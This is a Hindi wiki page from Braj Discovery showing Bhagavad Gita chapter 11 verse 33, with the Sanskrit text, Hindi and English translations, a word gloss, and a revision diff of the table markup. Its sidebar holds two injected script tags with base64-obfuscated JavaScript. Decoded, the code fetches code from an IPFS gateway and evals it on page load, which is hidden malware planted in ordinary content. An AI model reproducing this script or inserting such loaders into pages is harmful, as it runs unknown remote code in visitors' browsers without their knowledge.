ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ
खोज पर जाएँ
|
|
पंक्ति ४१: |
पंक्ति ४१: |
| </td> | | </td> |
| </tr> | | </tr> |
− | </table> | + | <tr> |
| + | <td> |
| <br /> | | <br /> |
| <div align="center" style="font-size:120%;">'''[[गीता 11:32|<= पीछे Prev]] | [[गीता 11:34|आगे Next =>]]'''</div> | | <div align="center" style="font-size:120%;">'''[[गीता 11:32|<= पीछे Prev]] | [[गीता 11:34|आगे Next =>]]'''</div> |
| + | </td> |
| + | </tr> |
| + | <tr> |
| + | <td> |
| <br /> | | <br /> |
| {{गीता अध्याय 11}} | | {{गीता अध्याय 11}} |
| + | </td> |
| + | </tr> |
| + | <tr> |
| + | <td> |
| {{गीता अध्याय}} | | {{गीता अध्याय}} |
| + | </td> |
| + | </tr> |
| + | </table> |
| [[category:गीता]] | | [[category:गीता]] |
| __INDEX__ | | __INDEX__ |
०७:५१, २४ अक्टूबर २००९ का अवतरण
गीता अध्याय-11 श्लोक-33 / Gita Chapter-11 Verse-33
प्रसंग-
इस प्रकार अर्जुन के पश्न का उत्तर देकर अब भगवान् दो श्लोकों द्वारा युद्ध करने में सब प्रकार से लाभ दिखलाकर अर्जुन को युद्ध के लिये उत्साहित करते हुए आज्ञा देते हैं-
तस्मात्त्वमुत्तिष्ठ यशो लभस्व
जित्वा शत्रून्भुड्क्ष्व राज्यं समृद्धम् ।
मयैवैते निहता: पूर्वमेव
निमित्तमात्रं भव सव्यसाचिन् ।।33।।
|
अतएव तू उठ ! यश प्राप्त कर और शत्रुओं को जीकर धन-धान्य से सम्पत्र राज्य को भोग । ये सब शूरवीर पहले ही से मेरे ही द्वारा मारे हुए हैं हे सव्यसाचिन् ! तू तो केवल निमित्तमात्र बन जा ।।33।।
|
There fore, do lyou arise and win glory; conquering foes, enjoy the affluent kingdom. These warriors stand already slain by Me; be you only an instrument, arjuna. (33)
|
उत्तिष्ठ = खड़ा हो(और); यश: = यशको; लभस्व = प्राप्त कर(तथा); शत्रून् = शत्रुओं को; समृद्धम् = धनधान्यसे सम्पत्र; मुड्क्ष्व = भोग(और); एते = यह सब(शूरवीर); पूर्वम् = पहिले से; एव = ही; मया = मेरे द्वारा; निहता: = मारे हुए हैं; सव्यसाचिन् = हे सव्यसाचिन् तूं तो; निमित्तमात्रम् = केवल निमित्त मात्र; एव = ही; भव = हो जा
|
|
|
|
<sidebar>
- सुस्वागतम्
- mainpage|मुखपृष्ठ
- ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
- विशेष:Contact|संपर्क
- समस्त श्रेणियाँ|समस्त श्रेणियाँ
- SEARCH
- LANGUAGES
__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- गीता अध्याय-Gita Chapters
- गीता 1:1|अध्याय [1] Chapter
- गीता 2:1|अध्याय [2] Chapter
- गीता 3:1|अध्याय [3] Chapter
- गीता 4:1|अध्याय [4] Chapter
- गीता 5:1|अध्याय [5] Chapter
- गीता 6:1|अध्याय [6] Chapter
- गीता 7:1|अध्याय [7] Chapter
- गीता 8:1|अध्याय [8] Chapter
- गीता 9:1|अध्याय [9] Chapter
- गीता 10:1|अध्याय [10] Chapter
- गीता 11:1|अध्याय [11] Chapter
- गीता 12:1|अध्याय [12] Chapter
- गीता 13:1|अध्याय [13] Chapter
- गीता 14:1|अध्याय [14] Chapter
- गीता 15:1|अध्याय [15] Chapter
- गीता 16:1|अध्याय [16] Chapter
- गीता 17:1|अध्याय [17] Chapter
- गीता 18:1|अध्याय [18] Chapter
</sidebar><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|